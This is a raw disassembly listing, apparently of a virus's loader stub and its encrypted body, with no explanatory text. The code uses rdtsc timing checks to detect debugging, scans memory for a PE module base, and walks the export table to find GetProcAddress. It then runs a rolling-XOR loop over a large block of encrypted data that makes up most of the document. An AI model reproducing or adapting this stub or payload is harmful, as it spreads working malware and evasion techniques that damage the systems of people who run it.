loc_62304C:				; CODE XREF: sdfs____:0062301Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 10DFF1h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 83h
		rep movsb
		call	sub_623125
		mov	ecx, eax
		call	sub_623125
		sub	eax, ecx
		jz	short loc_6230F7
		cmp	eax, 100h
		ja	short loc_6230F7
		and	ebx, 0FFFFF000h


loc_62308B:				; CODE XREF: sdfs____:0062309Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_62309C


loc_623094:				; CODE XREF: sdfs____:006230A9j
		sub	ebx, 100h
		jnz	short loc_62308B


loc_62309C:				; CODE XREF: sdfs____:00623092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_623094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_6230B6:				; CODE XREF: sdfs____:loc_6230CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_6230CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_6230CF


loc_6230CA:				; CODE XREF: sdfs____:006230BFj
		loop	loc_6230B6
		pop	ecx
		jmp	short loc_6230F7
; ---------------------------------------------------------------------------


loc_6230CF:				; CODE XREF: sdfs____:006230C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_62312A
		jmp	short loc_62313F
; ---------------------------------------------------------------------------


loc_6230F7:				; CODE XREF: sdfs____:0062307Cj
					; sdfs____:00623083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_623123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_623123:				; CODE XREF: sdfs____:00623102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_623125	proc near		; CODE XREF: sdfs____:0062306Ep
					; sdfs____:00623075p
		rdtsc
		retn
sub_623125	endp

; ---------------------------------------------------------------------------
		db 6Bh,	75h

; =============== S U B	R O U T	I N E =======================================



sub_62312A	proc near		; CODE XREF: sdfs____:006230F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_623132:				; CODE XREF: sub_62312A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_623132
		pop	ebx
		retn
sub_62312A	endp

; ---------------------------------------------------------------------------


loc_62313F:				; CODE XREF: sdfs____:006230F5j
		cmp	dword ptr [ecx+0], 0
		xchg	eax, ebp
		enter	7946h, 0CCh
		les	ebx, ds:2712D387h[ecx*2]
		adc	ebx, [esi+66B48E57h]
		hlt
; ---------------------------------------------------------------------------
		dw 7750h
		dd 918914F9h, 0C9D9260Fh, 80C43140h, 61A30C7Eh,	6ADCE525h
		dd 0E67B1898h, 8D18C657h, 0B71E2F7Bh, 95510BA9h, 7F3917F3h
		dd 5A12D290h, 0A025CA99h, 0A7097DD7h, 5BA20E29h, 0DDB84BEEh
		dd 83C1B2C6h, 0CE1B6302h, 756F393Fh, 10E0BBh, 2EA3155Bh
		dd 593C44B2h, 1347597Ah, 391D99DDh, 15B2770Ch, 0C6AEC19h
		dd 0ABBA0328h, 0C050C5BAh, 0F83D6A5Bh, 3C7C31E2h, 0D002BE67h
		dd 6D0D6828h, 2AD12A3h,	0D154293Dh, 73FFE5CFh, 257080F0h
		dd 93037CACh, 789CF403h, 9D80BBAEh, 7845382Dh, 0F7CE77AFh
		dd 9C79455Ah, 4B1A8841h, 0F8C8C024h, 0C0360AA8h, 0F732A13Eh
		dd 1BA35EC7h, 0C9FC87F2h, 0CC8EB203h, 31CEC85Eh, 9BD2C52Ch
		dd 4CD83055h, 0FFD86CDEh, 6B10EC71h, 4378AE87h,	539E4D62h
		dd 57BB02A3h, 0C3BAA8C6h, 66FD56DFh, 5908040h, 8679210Bh
		dd 69ACD89Ah, 83C213B6h, 2855285Dh, 0E7FE403Fh,	0F3FBD98Ah
		dd 0B03A4A0Ch, 5638BA59h, 1ACBA37Bh, 0B94C3F94h, 1FF9E514h
		dd 0F3982F74h, 5FC9BE54h, 61B5CC2Ah, 0B5FC63C0h, 71632045h
		dd 0D036CF4Bh, 90EEB05h, 33480997h, 5D50C9C7h, 0EFCEF2C7h
		dd 0B1651CD9h, 0E54CD310h, 0C5157015h, 2D241E14h, 59D6C431h
		dd 83D28617h, 0AD821859h, 80F2AAB2h, 69446DE3h,	2B2B969Eh
		dd 6B76554Ah, 753EEADBh, 566C15E1h, 0C3BC0862h,	0FD9D800Dh
		dd 76479223h, 3BC4BC3Bh, 7139BF4Fh, 300F1A0Fh, 0CF1604D1h
		dd 7ADF957Ah, 330CD81Ah, 0C947B8BDh, 775EE0E7h,	0A1740A01h
		dd 8FDE78FFh, 0AA02C59h, 0F88F8BEh, 9F793941h, 40E2CE40h
		dd 234585A4h, 760E22BDh, 84CCCF97h, 983A86ADh, 556E4278h
		dd 0EB69DADBh, 997C06F1h, 0FD50AB8Ch, 9D57580Dh, 0CC3B0D32h
		dd 0CAD4BC71h, 7BD40CDAh, 9470FF75h, 863EAF04h,	6CA754B1h
		dd 13524071h, 0B259D832h, 7757FD66h, 5B0977F9h,	589A3631h
		dd 0E4C1AF3Fh, 36FAFFB4h, 0B457A441h, 63E2F0B5h, 0FCF7F19Eh
		dd 0FE9BAD92h, 9345C90h, 0B4A7707h, 0A281D58h, 90FDCAFBh
		dd 507AF46Bh, 30A66EE8h, 9DD24BCCh, 6D998B40h, 0BCFCF659h
		dd 4BEF25DAh, 85094985h, 0ABAB1A9Bh, 26C3BAFCh,	8EF90838h
		dd 2D68D5D9h, 0FC18C2F3h, 2A90AB84h, 3E27F22Dh,	0D5D07DC1h
		dd 0FD5F0CE7h, 0EB6F3F07h, 0D8F75C75h, 15188259h, 0A72E604Fh
		dd 0D12EF032h, 0FB30A244h, 2570908Dh, 1EC6D0F3h, 29928E43h
		dd 9D7C9BD8h, 4E90382Dh, 1BB62297h, 0AAF48C1Bh,	0C00ADCABh
		dd 1F608A59h, 0CD3460ABh, 252434ABh, 99625EA5h,	0E212D9EDh
		dd 911B4D53h, 2EA4CC27h, 94458376h, 0C5D137C1h,	0EF53D75Bh
		dd 0A0FC9461h, 4312A23Ch, 0C8DB3716h, 873EEF32h, 44D92CD9h
		dd 0EB7A429Dh, 41D0600Ah, 0C0FC8A61h, 577241DEh, 5347FE27h
		dd 55EC5D12h, 0E7EE532Ch, 11046D91h, 7F7FF58Fh,	245B2C0h
		dd 0F92F88EBh, 0DE3948B8h, 0B254E82h, 0D887DADh, 75D217ECh
		dd 0F44BCC39h, 8BDAC85Dh, 9375DF02h, 0B5F65A55h, 0F60E1E81h
		dd 231CC802h, 5C1071ADh, 0ACD9F2C3h, 95689538h,	4E8511BBh
		dd 5804E9Fh, 8A256C28h,	59ACFB07h, 7C85BA47h, 0BDD686C8h
		dd 0A33EC773h, 0FF972AEFh, 0D4C4E49Bh, 3F48E4C1h, 807C80CBh
		dd 0B9528274h, 0A742BBF7h, 7570FBD1h, 14AE9226h, 6B272DF0h
		dd 44EC6376h, 97851075h, 0EB2246FAh, 8A6E17F2h,	0E2B3A6D3h
		dd 4D48B61Ah, 210EB683h, 0F2245CB8h, 0F5C4A300h, 35256005h
		dd 0E0B9FE72h, 0C6C49035h, 63DDE8D2h, 603DE06Dh, 385DCD7Ch
		dd 0E11A7A0Ch, 9AB46DAFh, 45519801h, 0FA998DDBh, 996C3AD7h
		dd 0FDB4BBF8h, 2D41580Dh, 17417DC8h, 2BD4C613h,	1EABC5Fh
		dd 95016875h, 7B9D2A8Fh, 837C54CBh, 0EC86F5BBh,	6220FE2Fh
		dd 546ED2D7h, 6E5E1430h, 2E17D9F0h, 0E5A04574h,	5F972B69h
		dd 7F631AEh, 0A771CE77h, 72833B5Dh, 0B7467ACBh,	0E1347E45h
		dd 0B4A78D4h, 3560A0D4h, 5F76CAEBh, 898CF401h, 0B3A23793h
		dd 0DDB8482Dh, 0F89D2412h, 21DAAECCh, 0F7A36D6Fh, 7E653001h
		dd 22E5F479h, 0C9253924h, 96AD3CC7h, 2D78A657h,	1532477Ah
		dd 977CEC19h, 0E7AA161Fh, 0A0AB2F5Ah, 96A43A3Bh, 4C80FD17h
		dd 3254DB10h, 3C7D9DE1h, 32D142A3h, 0D154028Bh,	0B90AE346h
		dd 79B390F5h, 2AF5DBB9h, 1CF1855Fh, 0C9D04143h,	0BEBC5B58h
		dd 0A4AA340Fh, 2180EF0Ch, 397EC513h, 754E85F9h,	0FE5378E8h
		dd 0A00A51B5h, 0F3233BBBh, 7C1DFAAEh, 2EC8D777h, 10E9B975h
		dd 0F5D3765Fh, 86D07122h, 9B873F29h, 768ED414h,	3061CBE4h
		dd 1F6BD8DCh, 0F24A63D6h, 0AE39499Bh, 833E33ABh, 71E1E587h
		dd 5AE4E90Bh, 3DC9A040h, 0F2A78C5Fh, 0CF9B2829h, 829A3306h
		dd 7D6B132Dh, 4B76C3E7h, 0B63E296h, 0E7358ADAh,	0FC5C50BEh
		dd 0B706279Fh, 6CED0A95h, 5ED8A277h, 8E0A945h, 0E49E9352h
		dd 0C1935906h, 0B6A2270Eh, 4F0C11ECh, 7F47FBE5h, 3C4AAAC4h
		dd 0C04E8BB1h, 0D82268BCh, 0AF3B2383h, 67F90271h, 5CC3EE6Eh
		dd 3CFBC470h, 0EFBBA833h, 0D7814B38h, 0B2B94216h, 6D7D2AFDh
		dd 4643C2FAh, 3007C0D0h, 1B39A7BFh, 0E1097894h,	0BFE65096h
		dd 0BA982968h, 42FAE646h, 3882CC54h, 1A948323h,	0A5B17508h
		dd 9B725F3Ch, 0A96C09F4h, 625AFAC6h, 392DFFBDh,	42C8785h
		dd 0A11A6380h, 9DFE53B8h, 9CD31270h, 67F3E444h,	2C8BB400h
		dd 1F8D8823h, 0D49D6518h, 0B56154EDh, 98503DF4h, 1B7BE8C0h
		dd 2131DF89h, 1D04B397h, 0D8057690h, 0B3F36307h, 9ACD314Bh
		dd 7EF8E47Ch, 0ED4C925h, 2D84B32Fh, 0D8656C1Ch,	0D6665AEAh
		dd 0E96D33CFh, 7D270EF8h, 5E37DA9Dh, 671DA186h,	0F2EB8EA9h
		dd 88E9556Ah, 97D91617h, 5FC60E48h, 5CBFCB23h, 51C1BD14h
		dd 0F9709D33h, 0C37B7193h, 845825EFh, 793E02FEh, 4115C2BCh
		dd 5F37B98Eh, 0CFF89152h, 0E7C7727Eh, 0DDDD2544h, 62AB1E10h
		dd 48B79C29h, 369FB21Ch, 0E07D99D1h, 0C66075CFh, 0B06821DDh
		dd 56520BAAh, 5D09F5B3h, 201BABA5h, 0E8D28A46h,	0FDAA7373h
		dd 0A0B4325Ch, 9397062Ah, 298FFB0Dh, 276BCC20h,	1171AEE8h
		dd 0D36012C6h, 0A42E58F8h, 890A12BCh, 4919E68Ch, 3CE3DD9Eh
		dd 1CF78B45h, 0D7FC0E49h, 0ACAD4A7Eh, 9E980727h, 6FF4E905h
		dd 2E78F50Bh, 254594F4h, 0FA5565D9h, 874C47B2h,	96101DA3h
		dd 4D1DFC8Ch, 22EDDD71h, 9E1AF6Ah, 0D8CE482Fh, 0B1B15537h
		dd 8C83093Eh, 7793ED05h, 66E087h, 1949BDEFh, 0F24D57D6h
		dd 0AE267CBBh, 981933BCh, 58F4CEF5h, 56C0DA6Ah,	0FE3A344h
		dd 0E7A19B64h, 0BDB64724h, 97A1262Dh, 7842121Ch, 751AC3E3h
		dd 409FD1h, 0E034AAD5h,	0CA2F41B2h, 861921B3h, 79C67893h
		dd 59FBD25Ch, 15D7A97Ah, 8BA49956h, 0C7B0541Bh,	0BC933E04h
		dd 7B6522F5h, 5F43EBE3h, 3255ADE0h, 0C94E8BB1h,	0D4114DADh
		dd 0B5333F9Dh, 68E21F63h, 40CFEE7Ah, 32D3905Fh,	0CDD28022h
		dd 0C49A4F29h, 0BEA82707h, 606118FBh, 464FDBF3h, 5539B2DAh
		dd 2A3A9E99h, 0C60F7D8Fh, 0A7D15B93h, 9AF6017Fh, 49EFFD77h
		dd 2597D54Ah, 1CB48F3Dh, 0E4A34765h, 0BD674E28h, 0F96C11E5h
		dd 505DE2C4h, 2E27CBD8h, 772A87B8h, 0CF1A638Ah,	0CBFE559Ah
		dd 9DD40572h, 7DC2F944h, 24ADDA38h, 1690DE32h, 0EEF87E0Eh
		dd 0C76A5CE6h, 9A4733EAh, 523AF2CAh, 3735C4ABh,	2C12BFB5h
		dd 0FC0F6B9Dh, 0A7FC4F4Fh, 0A4A83D71h, 65DBF65Dh, 6A0C927h
		dd 4A9A23Ah, 0F6656E1Bh, 0EC724FFFh, 8C5835D5h,	672C37B7h
		dd 5836DAA8h, 21E9D97h
		dd 0D884BD97h, 0C9FF5261h, 0AAC4354Bh, 5AA81F4Bh, 399DC823h
		dd 686A02Eh, 0F96D960Fh, 0D37F47C1h, 845825EFh,	5D0E37BFh
		dd 629F094h, 1332E4D9h,	0ECDEF44Dh, 0DCCE5D70h,	0B8F32D5Eh
		dd 629C723Ah, 5494D33Eh, 229F8D01h, 855188C0h, 0FE417FC9h
		dd 0A04E21C4h, 763E0F91h, 6C10DDB8h, 301B90F3h,	0D7E0895Ah
		dd 0CEDF7A7Eh, 0D5813870h, 9520591Dh, 0A2BAC263h, 103D4A3h
		dd 2B009A72h, 0E57E875Ch, 15CF3CA9h, 0AB0C3099h, 3D006FB3h
		dd 71382F04h, 0BD1FE401h, 0AB705037h, 3681B53Dh, 9F8FAA78h
		dd 0C9F48C69h, 482EFAF2h, 704AE0FFh, 0F5655AFAh, 9980BFC4h
		dd 0A7328A5Ch, 4F29C887h, 0A11B4D50h, 0F2A4CC27h, 0E450AEBh
		dd 0C5C00EABh, 2CEE9ED8h, 240811FCh, 8A21AE97h,	57AD8F7h
		dd 970C0283h, 9005E842h, 0BA3A16B5h, 0D503989Fh, 31FCFE03h
		dd 8B392B71h, 10C2EE09h, 6FEB0889h, 7EE192E6h, 49DE8BBBh
		dd 6CD964ACh, 0A4D82F96h, 80B90544h, 0B95C8155h, 0F1A1EE7h
		dd 8688788Fh, 0BC9EC8C7h, 9F4A6E5h, 8BDAF63Fh, 0DFB2223Fh
		dd 0AD1A226Bh, 9667481h, 0CC72CDC6h, 4D061E38h,	7817ADC3h
		dd 0A15A3A4Ch, 0AF85C3EFh, 8D1DFB74h, 0CCA68A0Eh, 5929493Dh
		dd 80D2FE57h, 52BB4F8Ch, 157BC9A1h, 8C147CB7h, 2B024C10h
		dd 0AA6B28B5h, 0FADD1534h, 0A97C2A3Bh, 0FAA5B17Ah, 0E770680Dh
		dd 0AC516DDCh, 41FA7ABCh, 55556B4Fh, 4DF0104Ch,	30F9C572h
		dd 0C7D6E11Ah, 0E3B78EB7h, 0C2C598C9h, 775ECBE8h, 5E8AF801h
		dd 190FBD00h, 70A0702Bh, 92BDFEEBh, 49E5FCCEh, 8D3D3657h
		dd 5A73F792h, 2F5BF1DCh, 0F1245C99h, 7D707F2h, 7650A0DEh
		dd 0C8E35712h, 0C87C14EFh, 93C37F53h, 7857094Ch, 17AEBC61h
		dd 0BEF0A8CEh, 7BD4F0CAh, 91C25D75h, 0BFFE7F8Bh, 0B42C54A1h
		dd 8099336h, 0C232A8DDh, 7C78476Eh, 0C3D4FCE9h,	0BBBE06C2h
		dd 2133500Fh, 8A011C37h, 39CCBF0Dh, 0E635EEAAh,	8D18E323h
		dd 0B73422B7h, 0FB5E8FF4h, 0B439EE7h, 77EDA0D5h, 9688608Ah
		dd 0E04F0474h, 0A39D5E82h, 0D53C4D2Dh, 9247304Bh, 31F4A319h
		dd 0E392498h, 8510F06Dh, 42A7479Bh, 0D92C5F14h,	3C16F34Ch
		dd 51EB98CDh, 587ECAD7h, 8194558Dh, 0A346971Fh,	81C04037h
		dd 0FFD76E23h, 53796B61h, 0D802AE49h, 599C6571h, 0A72E13A7h
		dd 394456E9h, 0FB5A66CBh, 2522C2B3h, 391345ACh,	4A9CF42Fh
		dd 0A72583EEh, 9CC8383Ch, 0A6DC0802h, 219C8D03h, 194AB67Fh
		dd 4B62756Ah, 1AA00ABBh, 99174037h, 0F2663683h,	0E22F88EDh
		dd 45AE96B7h, 0E45BDC19h, 9BAA390Dh, 0B110B51Ch, 0BFF2B94Dh
		dd 199650FAh, 1545FFD5h, 53924D62h, 126702A3h, 97845909h
		dd 0D54CC320h, 420D80E5h, 55C1F84Fh, 0FE218C65h, 93C2FF33h
		dd 0D7181BE6h, 4C1D0B73h, 41542C29h, 694AF6DFh,	5B7A455Ah
		dd 4BC7FAABh, 0B95C26D9h, 0EB563A18h, 329AED02h, 0C8CDA203h
		dd 718BDEBCh, 8F08AB3Fh, 0BFDEA055h, 54B04B1Eh,	1919F00Ch
		dd 0BE3B7D97h, 4D28C838h, 0D19FF1C3h, 71E0CE26h, 0DA65CEE0h
		dd 819F7005h, 2FA69B0Bh, 2C86FAB1h, 0BD52A857h,	0AC6C175Dh
		dd 57FE4272h, 0F0614CB7h, 7B1417D9h, 20078EFCh,	0B9996189h
		dd 822315A7h, 0D3E86F39h, 2CB3E5Ch, 379198B6h, 90FFE539h
		dd 7B056340h, 207D1065h, 0CF1624E0h, 0F57464FBh, 73328EA7h
		dd 47DD47EEh, 4A5EF2ECh, 0A1740CE5h, 0CB35B3F0h, 44496015h
		dd 9EB68A2Bh, 9EE47Fh, 0D667D101h, 1EF8086Dh, 0FBA23A45h
		dd 68A05394h, 273A86AFh, 0E9A3C5E5h, 0EA69E0E7h, 997C047Dh
		dd 0E3B223AAh, 0CC95783Dh, 62CAE754h, 61E80036h, 156BAA2Ah
		dd 0E168208Ah, 3E675FFFh, 0D35C57DFh, 7B375198h, 3DA7EF0Bh
		dd 77D4E3ECh, 6684FCDEh, 2E6574EDh, 0E5A06E8Fh,	5F96BA08h
		dd 3034F401h, 27F2CE67h, 0E1668F12h, 0B77A43FCh, 0DE2ED956h
		dd 0CBCF76AFh, 0FC5396A1h, 60324F62h, 0E1DDF411h, 33A21C17h
		dd 8DEE197Ch, 38D0E7BCh, 0A4699C49h, 5BEADDF0h,	0D1D9C3D5h
		dd 0FE744ACAh, 8BA9BBE0h, 84527EF9h, 0B897BCD9h, 576EFCD5h
		dd 0C142FF1h, 0ABBA0368h, 0BF03B934h, 0D7004Ah,	2D9F6B52h
		dd 9387AB88h, 0A62BB2F9h, 0AC9DC228h, 5C786CBAh, 0EB47A57Ah
		dd 29CA1BE5h, 0C486BAFAh, 799DEC9Bh, 884A0D27h,	64358F6h
		dd 83BFC4A0h, 0D416CB6Ch, 8C899894h, 0B9ABB39Ah, 0CFE281FCh
		dd 980C5E95h, 0C9D3485h, 0D466E78h, 1D033903h, 0F2A4CC27h
		dd 54910AEBh, 2D7D9C6h,	7E6305Ch, 1AB30D71h, 55DFD44h
		dd 3F698FC9h, 0FE735EF6h, 0B23B5EAAh, 0B71E30B0h, 71EEE9A2h
		dd 63E5DD64h, 1BDEA162h, 0C5B69052h, 0D4AB5A28h, 0A2B23C0Ch
		dd 7E680C01h, 3B68C3FDh, 242B1F1h, 0E00E8EDEh, 0BB5C50A2h
		dd 0B6224EE7h, 7D58F78Fh, 5EE6CD61h, 13DDE244h,	0E7AB915Ch
		dd 9B995834h, 91F6261Bh, 294737C8h, 5B51F7FFh, 3440AFD4h
		dd 0C21DA7C9h, 0FB1C3C8Bh, 0FB340FA0h, 77F90623h, 7AACEF6Fh
		dd 59BCC4D9h, 6E53B347h, 0ADF806F0h, 0C289C7B5h, 0FE146C99h
		dd 3B14E80Ah, 4AA801B5h, 613CD6BFh, 975AA16Ah, 7FDB3EE7h
		dd 0D7ED4631h, 0D8901345h, 0DCE7C924h, 6BE5DCF2h, 0A7869B65h
		dd 6A609F2Ch, 0C1ACE11Ch, 0A6BD8EB7h, 4D58806Bh, 8D186B29h
		dd 5A8A4265h, 468374Eh,	0D44830FEh, 9C4975D0h, 4DC4903Dh
		dd 7B0A9A22h, 0CEF8086Dh, 832071C5h, 0E2410D5h,	0B040C3Ah
		dd 3190BBC5h, 6D0C49D6h, 0ABE9FBA2h, 3C923E39h,	7A40CBCDh
		dd 0FF417DCDh, 41D4AC42h, 34A9900Ch, 0D12E533Ah, 401666C7h
		dd 0F912DE34h, 0ED3E96B7h, 3DB05732h, 98912D15h, 81962074h
		dd 3653150Fh, 0F5F2B8A0h, 5E972B3Bh, 688DF400h,	0E5673136h
		dd 6508E843h, 0B71E2298h, 0B3711FFCh, 4F64448Ch, 0CA60EC99h
		dd 4F48407Eh, 89861C01h, 0C0D51E17h, 0B3D13A5Dh, 78F1437h
		dd 3716309h, 0D2FAD651h, 952ECA00h, 2217159Bh, 0C925393Ch
		dd 43D7E7C7h, 7C6888E2h, 69F4570Ch, 0E907EC19h,	0ABAA161Bh
		dd 0CC4AF5B8h, 728F6A5Bh, 39D3B2DCh, 0A6C05677h, 0BA7E1772h
		dd 0B7307F26h, 52143CB9h, 0EB44096Ah, 0B0FD90E5h, 4F96A4D6h
		dd 78F6B041h, 0CBE00E4Dh, 4DC8383Fh, 0C8F4F7ACh, 0E1718C79h
		dd 0C628C325h, 653E8018h, 995C58ABh, 0D721814Ch, 0A5365EC7h
		dd 4F29D8BDh, 78A027FCh, 8EFCDC09h, 8B8520BAh, 8255F645h
		dd 0EFE64A1Ah, 19FC8899h, 0C41F987h, 5F1B93DEh,	0DB72469Dh
		dd 4BC1D3C9h, 786A46E1h, 1580879Dh, 0DE23270Bh,	30ACC439h
		dd 0AD3443BAh, 8030285Dh, 0F11AD96h, 11047C75h,	7254EFD8h
		dd 4B6495EBh, 8F0AB6FFh, 87D6B12Eh, 23F74EF7h, 0FBDFCF2h
		dd 5F0DA213h, 61B4CC2Ch, 92D543B2h, 38B92045h, 0CFC958D6h
		dd 0FC0A9C81h, 8EA16168h, 5D28F7BBh, 97CAFDC3h,	30641CDBh
		dd 0DB7BD603h, 4F82405h, 0D0A69A1Ah, 498232A4h,	13166F47h
		dd 0FDE8185Ch, 0D79496F8h, 178193DBh, 0AE2A86A0h, 58359975h
		dd 7F4562A3h, 3F9EBE1h,	38822EC9h, 9225EBEFh, 27AE823Dh
		dd 0D449954Ch, 7BCAF83Ch, 0A765EF35h, 4A062A44h, 70986B51h
		dd 0A8328EA6h, 4DC3B4FDh, 0F2D1D22Ch, 0A1641286h, 8ACDB339h
		dd 9FA16005h, 75B7E02Bh, 47594B43h, 0F0E2CE68h,	19F7F795h
		dd 0C70E33E3h, 9AB1D10Ah, 713A96B1h, 0BA03E2D5h, 7F58244Eh
		dd 96BC81F1h, 0C3936E82h, 6115D51Dh, 0A6BE922Dh, 0BBE84441h
		dd 0FF8229A0h, 0CB000075h, 8B9FCCA0h, 7CD30085h, 13524035h
		dd 23C21540h, 66DFD2F3h
		dd 6E7EE111h, 3C0FABF0h, 8FB0403Bh, 0FD2123Bh, 6A8EA451h
		dd 5CF85B98h, 0C985F86Dh, 229336B7h, 0E1240E41h, 1FC79EFh
		dd 2144E45Eh, 5D7E2A2Ah, 0C39EF54Bh, 0B0E80C15h, 0D59C0C26h
		dd 0C6C193C3h, 3AB594B9h, 0A4EAE22Bh, 389DA0B7h, 0AF3625D3h
		dd 0D93C5859h, 357C4BC7h, 0D46B8A5h, 7244E2DDh,	0B9BAC92Ch
		dd 8BD23367h, 9FCA3310h, 0DF982304h, 0BC13C361h, 5312804Dh
		dd 7DB42C0Ch, 0A74412A3h, 2E176BE9h, 0EB656C5Ah, 0B5FD1BE5h
		dd 2586AAEEh, 12870711h, 4BE303EEh, 0CDC83838h,	0FDBA4775h
		dd 0B40BDB69h, 4B1A8845h, 252C2416h, 985E0140h,	444C34C1h
		dd 0E37CFE6Ah, 0E22BDFEDh, 57B1B896h, 0F645919h, 0D30F8B7Bh
		dd 46D0207Ah, 0FFF3CAFEh, 94718471h, 4302EFC0h,	6D4216B6h
		dd 686D54E2h, 0D16B2A5Ch, 0EB92D5DFh, 9E11AF8Bh, 772327F5h
		dd 0D9ACC41Eh, 0E66C0C3Ah, 9730485Dh, 8611AD99h, 18E76B0Bh
		dd 0D01BD102h, 4EFF5B4Fh, 0C7FB7775h, 4A5C34EEh, 885C943h
		dd 98772B44h, 378E9CE9h, 74C371A9h, 0FFCBF62Fh,	0C0D0487Fh
		dd 4A094A6Bh, 91C4A2Bh,	72652317h, 2938C8BDh, 0E8CB35D2h
		dd 0B1640CC7h, 1D7A46EFh, 15D13780h, 274F9A1Bh,	9E433BCFh
		dd 93C76EC2h, 0ADE8185Dh, 0D33C1FF3h, 4E1E6189h, 4445F8BFh
		dd 332FE0DBh, 193F86EBh, 0E64C3584h, 0BEEB4AD7h, 92EC4868h
		dd 4BCBF103h, 30B6DE5Ch, 76FB833Bh, 85D0306Fh, 0EF491A5Bh
		dd 947111E2h, 4412FCC2h, 282CCADCh, 7D53C3BDh, 0C41869BBh
		dd 0AEE64291h, 8CCC1366h, 6FD7E20Bh, 28ECCD31h,	16C2BA39h
		dd 0FE9D7815h, 0B36053F7h, 85577CB5h, 725EE8CEh, 656AD7ABh
		dd 386CD7F6h, 0F11F7090h, 0E3F5406Eh, 0CDC4347Ch, 37C7E357h
		dd 61B0C228h, 38DBF31h,	0F3202C01h, 0D93658E4h,	87493DD3h
		dd 5A620DD3h, 5439DFEDh, 6D63E897h, 0E3E194AEh,	0C9FB066Ah
		dd 8AC97040h, 69E6564Eh, 57B9CD23h, 43CDBD03h, 0E865973Eh
		dd 0C35702B2h, 0C1472589h, 6E271FCBh, 412980F4h, 3356B9CCh
		dd 0A8E98060h, 89094740h, 0CD1E5C04h, 3709F647h, 0F3885005h
		dd 56F9313Ah, 801B8A31h, 2C74A873h, 0B1694104h,	13F47AD4h
		dd 5F63A3F8h, 70CF3816h, 0FE013DC3h, 6335DA1Fh,	0C0CE9ABAh
		dd 276ED919h, 29EC9461h, 5302BE77h, 7D18E88Dh, 0A72E12A3h
		dd 0D1443CB9h, 0FB5A66CFh, 257090E5h, 4F86BAFBh, 799CE411h
		dd 0A3B20E27h, 0CDC8383Dh, 0F7DE6253h, 21F48C69h, 4B0AB67Fh
		dd 7520E095h, 9F360AABh, 0C94C34C1h, 4BC7DDB7h,	1D7898AFh
		dd 5321780h, 7EA4DC09h,	16AE4598h, 72DF2816h, 3FE55C10h
		dd 3DD8C0FAh, 311EECACh, 656AE384h, 0D5B516C0h,	0CD1607DDh
		dd 0A9D2C356h, 900980E5h, 3F86E8B7h, 0AB2FD1CAh, 0F21B1C1Fh
		dd 35D82C8Fh, 0F7CA0DE6h, 11609479h, 1B72A68Fh,	0E830D0A5h
		dd 9F65763Eh, 0A1657DD1h, 23F14293h, 0F27F9AF9h, 27DC3696h
		dd 0B8430F29h, 0AF957B3Ch, 0A5032045h, 500A3A94h, 0DE4F781h
		dd 0AEAB6875h, 5D28EB21h, 0F34EC840h, 0B25637DCh, 95F7569Dh
		dd 5BCB28F9h, 5BA6A098h, 0B28E3B35h, 93A01144h,	52174FB5h
		dd 0FC30698Ch, 1156D004h, 6029CE9Fh, 0D0CF0381h, 7F46A853h
		dd 0EBF89126h, 0D3823EE7h, 0C170680Dh, 0ACAE9223h, 418628BCh
		dd 8D730E4Fh, 0BD18EF9Ah, 4C063A7Bh, 0E95EF02Ch, 2B478EA7h
		dd 69402534h, 0EBB5E2C3h, 0E3E08116h, 444936EFh, 0E5E2F890h
		dd 8B23032Bh, 0A1CCA403h, 73E2DE54h, 163BC15Eh,	0C70EB210h
		dd 1CCC0E99h, 18C57951h, 55120C50h, 0ECB0D9DBh,	967C088Bh
		dd 0C3932983h, 0FDD2DB1Dh, 0EA3A8D33h, 0CAD4AC49h, 83BADA1Dh
		dd 6AFFFEBDh, 0FDAAAF88h, 2F2F54B1h, 934AF4E7h,	242CA834h
		dd 13402B63h, 606FBCFAh, 3A9B6E84h, 3A6F8FC4h, 4B3FFBE4h
		dd 4CDCE81Dh, 0ABD9978Bh, 82F201FEh, 0B71E951Ch, 99B52AA9h
		dd 4784541h, 35600B50h,	65F59CEBh, 2898101h, 0B1490E5Dh
		dd 2CBB42A6h, 0F9BC9A12h, 84E763A6h, 5BEA84D3h,	0FDD07528h
		dd 2BA21560h, 263C44B1h, 1310D272h, 7880C8DDh, 54813D0Dh
		dd 91D6508Ch, 172F991Fh, 0D6C05077h, 7C854E4Fh,	0F2DF96A1h
		dd 0B00A0878h, 5DD1689Fh, 830AD3F0h, 0F55815BDh, 0A07E6AE6h
		dd 0A4997BA5h, 0F451B500h, 0F8A290CCh, 0CDF7A6DCh, 4CFE4CE6h
		dd 56E53BA8h, 0A0DAF896h, 0FE286084h, 0F4069439h, 0C7DF9950h
		dd 48524032h, 0AB8B232Ch, 9C6EFC1Eh, 62B1F4F8h,	0F0AAA8F8h
		dd 0BE8536D4h, 3AD644A4h, 0FFA4C2CEh, 6815DF71h, 1DED5178h
		dd 843C1A1Eh, 68C1FC5Ch, 0C53E2E0Ah, 1E23BE87h,	80087F0Ah
		dd 3F868C32h, 719D6C47h, 77021C35h, 0DB3A2A4Eh,	0BFE838C8h
		dd 0EEF15291h, 33D82570h, 605A0122h, 7A6712E3h,	43DCDB2Eh
		dd 53793DE4h, 340D7AADh, 9D9EB235h, 9DEEBC2h, 714A5C67h
